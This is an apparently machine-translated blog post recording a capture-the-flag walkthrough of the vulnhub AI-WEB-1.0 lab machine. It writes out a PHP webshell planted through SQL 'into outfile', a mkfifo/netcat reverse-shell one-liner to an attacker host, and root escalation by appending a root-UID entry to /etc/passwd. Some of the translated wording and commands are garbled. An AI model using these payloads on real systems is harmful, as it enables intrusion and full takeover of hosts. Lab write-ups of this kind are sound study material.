当前位置:网站首页>Record your vulnhub breakthrough record
Record your vulnhub breakthrough record
2022-07-03 12:32:00 【Xiao Qin】
Preface
This article is just a record vulnhub The entry record on , Some methods used , Because the right to raise this is new , So the article may focus on this introduction more .
AI-WEB-1.0
The words here , Routine scanning first , I use masscan Sweeping (nmap Too slow ).
You can go here first kali Take a look at your configuration .
Virtual network editor here , And then you can see
masscan 192.168.252.0/24 --top-ports 100 --rate 1000
Scanning here will find ip Duan Kai 80 port , And then visit 80 port
Will find 80 Port is such a thing , Japan , Conventional thinking , Put on the scanner (dirsearch)
python3 dirsearch.py -u xxxx
Here we find robots.txt, Go to robots.txt Medium visit . Found to have SQL Injection point . Yes SQL Injection points can be used select into oufile To write horses .( Let's review into outfile Write horse )
Example :
select '<?php phpinfo();eval($_POST[1]);?>' into outfile ' Absolute path ';
into outfile Write horse requirements :
(1) High authority account
(2)secure_file_priv Need to be '';
(3) Know the absolute path of the website

Here let me XOR for a long time , The absolute path of the website is generally /var/www/html such , But I can't connect , I saw my brother's wp Only to find out later , It was caused by my carelessness , They gave it to me robots.txt The directory above also needs to be scanned (…)
Cough cough cough , Scan and find , Yes info.php, Know the absolute path , Just try to use into outfile Write horse 
Step on the pit 1:
I thought , It's easy to write to any directory , Japan , When there is a priv After not opening , I thought it was a log writing horse , I tried for a long time ........ To no avail , Plagiarize the bosses again wp Find out , My directory is wrong ..............
Cough cough cough , Back to the point , Connected to the shell.php And then I found out , It's a www-data jurisdiction
It completely requires a right raising operation . I'm confused here ,sudo It needs to enter a terminal to operate .
Step on the pit 2
rebound shell,( It's true. I can't understand how the big guys construct ,bash Rebound doesn't bounce ,nc There is no response when connecting ) Everyone who understands , A wave of private messages .
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.252.134 6666 >/tmp/f
Here you can have a normal rebound shell, Find out /etc/passwd Read and write permission , Then refer to root Just write .
openssl -1 -salt echo echo
You can write by referring to the following figure
echo 'echo:1$hack$xR6zsfvpez/t8teGRRSNr.:0:0:root:/root:/bin/bash' >>/etc/passwd
python Go into interactive mode
python -c 'import pty;pty.spawn("/bin/bash")'
Upgrade to root jurisdiction 
summary
(1) You can go /etc/passwd Fill in root Information , Then we will raise the right
(2) It can be used openssl To preset the string
(3) Use nc Strange gesture of command ( The rookie said he couldn't understand )
边栏推荐
- 为什么我的mysql容器启动不了呢
- (construction notes) ADT and OOP
- Adult adult adult
- Use bloc to build a page instance of shutter
- C language improvement article (wchar_t) character type
- Dart: about grpc (I)
- 手机号码变成空号导致亚马逊账号登陆两步验证失败的恢复网址及方法
- 2.8 overview of ViewModel knowledge
- Applet wxss introduction
- [MySQL special] read lock and write lock
猜你喜欢

Shutter: add gradient stroke to font

Eureka self protection

【ManageEngine】IP地址扫描的作用

Qt+vtk+occt reading iges/step model

1-2 project technology selection and structure

Take you to the installation and simple use tutorial of the deveco studio compiler of harmonyos to create and run Hello world?

Php Export word method (One MHT)

4000字超详解指针

4000 word super detailed pointer

2.8 overview of ViewModel knowledge
随机推荐
Use of QT OpenGL camera
Sword finger offer10- I. Fibonacci sequence
SystemVerilog -- OOP -- copy of object
剑指Offer03. 数组中重复的数字【简单】
Recovery of website address and method of Amazon account login two-step verification failure caused by mobile phone number becoming empty
2.7 overview of livedata knowledge points
Display time with message interval of more than 1 minute in wechat applet discussion area
flinksql是可以直接客户端建表读mysql或是kafka数据,但是怎么让它自动流转计算起来呢?
If you can't learn, you have to learn. Jetpack compose writes an im app (II)
TOGAF认证自学宝典V2.0
为什么我的mysql容器启动不了呢
【附下载】密码获取工具LaZagne安装及使用
Dart: self study system
Introduction to concurrent programming (II)
Computer version wechat applet full screen display method, mobile phone horizontal screen method.
剑指Offer04. 二维数组中的查找【中等】
elastic_ L02_ install
Sword finger offer07 Rebuild binary tree
The future of cloud computing cloud native
[official MySQL document] deadlock